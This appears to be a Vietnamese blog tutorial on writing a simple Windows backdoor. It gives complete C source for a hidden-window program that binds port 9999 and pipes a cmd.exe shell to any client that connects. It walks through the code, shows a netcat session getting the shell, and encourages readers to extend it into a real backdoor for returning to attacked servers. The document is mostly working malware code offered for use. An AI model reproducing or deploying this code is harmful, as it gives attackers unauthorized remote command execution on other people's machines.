Hướng dẫn viết một backdoor đơn giản trên Windows

Nguyên tắc là cách làm việc của backdoor không giải thích các bạn cũng biết nó gì và cách sử dụng chúng như nào. Một khi backdoor được cài lên giúp kẻ tấn công sẽ thuận tiện hơn khi trở lại server mà mình đã tấn công vào, điều mà chúng ta cần biết là cách viết đổ cmd.exe tử backdoor (tức là kẻ tấn công có shell khi đã có backdoor được cài trên server) như thế nào ?

Đoạn mã viết dưới đây không phải là backdoor mà chỉ đơn thuần là một phần công việc của backdoor. Sau đây mình sẽ hướng dẫn cách viết đổ cmd.exe như thế nào.

Code:

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define PORT 9999	                 //<--Dat cong lang nghe la 9999
#define BANNER	"Seamoun (http://nhomvicki.net) - TcpShell 1.0\n"
#define	MAXRECVBUF	1000	         //Bo dem toi da khi nhan
#define MAXPIPEBUF	1000	         //Bo dem toi da cua pipe
#define WM_SHELL	WM_USER+1	 //Tinh huong tu dinh nghia
#define	MyClass	"Seamoun"	         //Ten lop
#define MyApp	"Seamoun"	         //Ten ung dung

#pragma comment(lib,"wsock32.lib")	 //Gop thu vien wsock32.lib

HANDLE	hThread_out;	
DWORD	dwChildThreadIdOut;
SECURITY_ATTRIBUTES	sa;	
STARTUPINFO	si;
PROCESS_INFORMATION pi;
HANDLE	hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL	NowUsing;
int	sock_listen,sock;
sockaddr_in	addrServer;

void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD	__stdcall OutSocket(LPVOID lpData);

int	__stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
                               LPSTR lpCmdLine,int nShowCmd)
{
	HWND hwnd;
 	MSG	 msg;
 	WNDCLASSEX wc;
 	wc.cbClsExtra=0;
 	wc.cbSize=sizeof(wc);
	wc.cbWndExtra=0;
 	wc.hbrBackground=(HBRUSH)COLOR_WINDOW;
 	wc.hCursor=LoadCursor(NULL,IDC_ARROW);
 	wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
 	wc.hIconSm=0;
 	wc.hInstance=hInstance;
 	wc.lpfnWndProc=(WNDPROC)WndProc;
 	wc.lpszClassName=MyClass;
 	wc.lpszMenuName=0;
 	wc.style=CS_HREDRAW|CS_VREDRAW;

 	RegisterClassEx(&wc);
 	hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,
                         0,0,0,0,NULL,NULL,hInstance,NULL);
 	ShowWindow(hwnd,SW_HIDE);
 	UpdateWindow(hwnd);
 	while (GetMessage(&msg,0,0,0))
 	{
 		TranslateMessage(&msg);
 		DispatchMessage(&msg);
 	}
 	return msg.wParam;
}

int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
 	WSADATA	wsaData;
 	switch(msg)
 	{
 	case WM_CREATE:
 		if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
 		if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))
                          ==INVALID_SOCKET) return -1;
 		addrServer.sin_family=AF_INET;
 		addrServer.sin_port=htons(PORT);
 		addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
 		memset(&addrServer.sin_zero,'',8);
 		if (bind(sock_listen,(struct sockaddr *)&addrServer,
                           sizeof(addrServer))==SOCKET_ERROR) return -1;
 		if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
 		if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
 			FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) 
                            return -1;
 		NowUsing=FALSE;
 		break;
 	case WM_CLOSE:
 		PostQuitMessage(wParam);
 		break;
 	case WM_SHELL:
 		GetShell(hwnd,wParam,lParam);
 	default:
 		return (DefWindowProc(hwnd,msg,wParam,lParam));
 	}
 	return 0;
}

void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
 	long lEvent=WSAGETSELECTEVENT(lParam);
 	static char buf[MAXRECVBUF];
 	DWORD	dwNumberOfBytesWrite;
 	int	sock_tmp;
 	UINT	r;
 	sockaddr_in	addrClient;
 	int	sizeClient=sizeof(addrClient);
 	if (lEvent==FD_ACCEPT)
 	{
 		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)
                                    &addrClient,&sizeClient))==INVALID_SOCKET) 
 			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;
 		if (NowUsing==TRUE)
 		{
 			closesocket(sock_tmp);
 			return;
 		}
 		sock=sock_tmp;
 		send(sock,BANNER,strlen(BANNER),0);
 		NowUsing=TRUE;
 		sa.nLength=sizeof(sa);
 		sa.lpSecurityDescriptor=0;
 		sa.bInheritHandle=TRUE;

 		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
 		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

 		memset((void *)&si,'',sizeof(si));
 		memset((void *)&pi,'',sizeof(pi));

 		si.cb=sizeof(si);
 		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 		si.wShowWindow=SW_HIDE;
 		si.hStdInput=hPipeInputRead;
 		si.hStdOutput=hPipeOutputWrite;
 		si.hStdError=hPipeOutputWrite;

 		CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,
                                NULL,TEXT("c:\\"),&si,&pi);

 		CloseHandle(hPipeInputRead);
 		CloseHandle(hPipeOutputWrite);

 		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,
                                           &dwChildThreadIdOut);
 		return;
 	}
 	else if (lEvent==FD_CLOSE)
 	{
 		closesocket(sock);
 		TerminateProcess(pi.hProcess,0);
 		TerminateThread(hThread_out,0);
 		CloseHandle(pi.hProcess);
 		CloseHandle(hPipeOutputRead);
 		CloseHandle(hPipeInputWrite);
 		NowUsing=FALSE;
 	}
 	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
 	buf[r]=0;
 	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

DWORD	__stdcall OutSocket(LPVOID lpData)
{
 	char szBuffer[MAXPIPEBUF];
 	DWORD	dwNumberOfBytesRead;
 	for (;;)
 	{
 		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,
                             &dwNumberOfBytesRead,NULL)==FALSE) continue;
 		if (dwNumberOfBytesRead<=0) continue;
 		FlushFileBuffers(hPipeOutputRead);
 		szBuffer[dwNumberOfBytesRead]=0;
 		send(sock,szBuffer,dwNumberOfBytesRead,0);
 	}
 	return 0;
}

Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows.

Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi !

1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau:
Code:

// Khởi tạo thư viện Winsock
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;         
 	if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))
                       ==INVALID_SOCKET) return -1;           // Tạo socket listen.

 	// Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
 	addrServer.sin_family=AF_INET;	
 	addrServer.sin_port=htons(PORT);
 	addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
 	memset(&addrServer.sin_zero,'',8);
 	//--------------------------------------------------------------------
 	if (bind(sock_listen,(struct sockaddr *)&addrServer,
              sizeof(addrServer))==SOCKET_ERROR) return -1;// Bind socket listen.
 	if (listen(sock_listen,1)==SOCKET_ERROR) return -1;// Đặt chế độ lắng nghe.

 	// Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là 
        // WM_SHELL các bạn có thể lấy tên khác tùy ý 
        // miễn là nó được định nghĩa WM_USER +x).
 	if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
 		FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
 	NowUsing=FALSE;	// Đây đơn giản là biến dùng để 
                        // đánh dấu socket đang dùng hay là không dùng nữa.

2) Giải thích mã của hai hàm GetShell và OutSocket
Code:

//Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
 	long lEvent=WSAGETSELECTEVENT(lParam);	// Lấy sự kiện
 	static char buf[MAXRECVBUF];	        // Khai báo biến buf để
 	DWORD	dwNumberOfBytesWrite;	
 	int	sock_tmp;	                // Khai báo một socket trung gian
 	UINT	r;
 	sockaddr_in	addrClient;
 	int	sizeClient=sizeof(addrClient);
 	// Khi có kết nối đến từ máy client - 
        // Ở đây kết nối được chấp nhận và sử lý như sau:
 	if (lEvent==FD_ACCEPT)
 	{
 		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)
                                 &addrClient,&sizeClient))==INVALID_SOCKET) 
 			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

 		// Nếu như đang sử dụng thì đóng socket này lại	
 		if (NowUsing==TRUE)
 		{
 			closesocket(sock_tmp);
 			return;
 		}
 		sock=sock_tmp;
 		send(sock,BANNER,strlen(BANNER),0);
 		NowUsing=TRUE;

 		sa.nLength=sizeof(sa);
 		sa.lpSecurityDescriptor=0;
 		sa.bInheritHandle=TRUE;

 		// Tạo hai luồng dẫn dùng để đổ cmd.exe. 
                // Một luồng dùng để nhận lệnh từ client gửi đến 
                // và một luồng dùng để xuất kết quả trả về cho client.
 		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
 		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

 		memset((void *)&si,'',sizeof(si));
 		memset((void *)&pi,'',sizeof(pi));
 		// Khởi tạo một số thông số cho biến cấu trúc SI 
                // (Startup Information: thông tin khởi động)
 		si.cb=sizeof(si);
 		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 		si.wShowWindow=SW_HIDE;
 		si.hStdInput=hPipeInputRead;
 		si.hStdOutput=hPipeOutputWrite;
 		si.hStdError=hPipeOutputWrite;

                // Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe.
                CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,
                              NULL,TEXT("c:\\"),&si,&pi);
 		CloseHandle(hPipeInputRead);
 		CloseHandle(hPipeOutputWrite);
 		// Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu.
 		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,
                                       &dwChildThreadIdOut);
 		return;
 	}
 	else if (lEvent==FD_CLOSE)
 	{
 	// Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE.
 		closesocket(sock);
 		TerminateProcess(pi.hProcess,0);
 		TerminateThread(hThread_out,0);
 		CloseHandle(pi.hProcess);
 		CloseHandle(hPipeOutputRead);
 		CloseHandle(hPipeInputWrite);
 		NowUsing=FALSE;
 	}
 	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
 	buf[r]=0;
 	// Nhận dữ liệu từ client và ghi đến CMD.EXE.
 	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

3. Giải thích mã hàm OutSocket:

Code:

DWORD	__stdcall OutSocket(LPVOID lpData)
{
 	char szBuffer[MAXPIPEBUF];
 	DWORD	dwNumberOfBytesRead;
 	//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
 	for (;;)
 	{
 		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,
                         &dwNumberOfBytesRead,NULL)==FALSE) continue;
 		if (dwNumberOfBytesRead<=0) continue;
 		FlushFileBuffers(hPipeOutputRead);
                //Thêm kí tự kết thúc chuỗi trong dữ liệu trả về.
 		szBuffer[dwNumberOfBytesRead]=0;
 		//Hiển thị kết quả CMD.EXE trả về ra màn hình client.
 		send(sock,szBuffer,dwNumberOfBytesRead,0);
 	}
 	return 0;
}

Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau:
tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào

Code:

d:\>nx -vv -n 10.0.0.1 9999
 (UNKNOWN) [10.0.0.1] 9999 (?) open
 Seamoun (http://nhomvicki.net) - TcpShell 1.0
 Microsoft Windows 2000 [Version 5.00.2195]
 (C) Copyright 1985-2000 Microsoft Corp.

 c:\>	<--- Vậy là đã có shell

Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự !
Bài này mình viết cũng khá lâu rồi, sẵn dịp ôn lại kiến thức nên share cho mọi người tham khảo.

Advertisements

About Argron Nguyen's Blog

Vietnamese. Photographer. Writer. Illustrator. IT-er. All to some extent.

Posted on 20.09.2012, in Network Programming. Bookmark the permalink. Bạn nghĩ gì về bài viết này?.

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất / Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất / Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất / Thay đổi )

Google+ photo

Bạn đang bình luận bằng tài khoản Google+ Đăng xuất / Thay đổi )

Connecting to %s

%d bloggers like this: